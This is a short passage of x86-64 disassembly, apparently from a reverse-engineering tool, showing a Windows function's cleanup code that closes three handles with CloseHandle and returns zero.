mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x1130
pop rbp
ret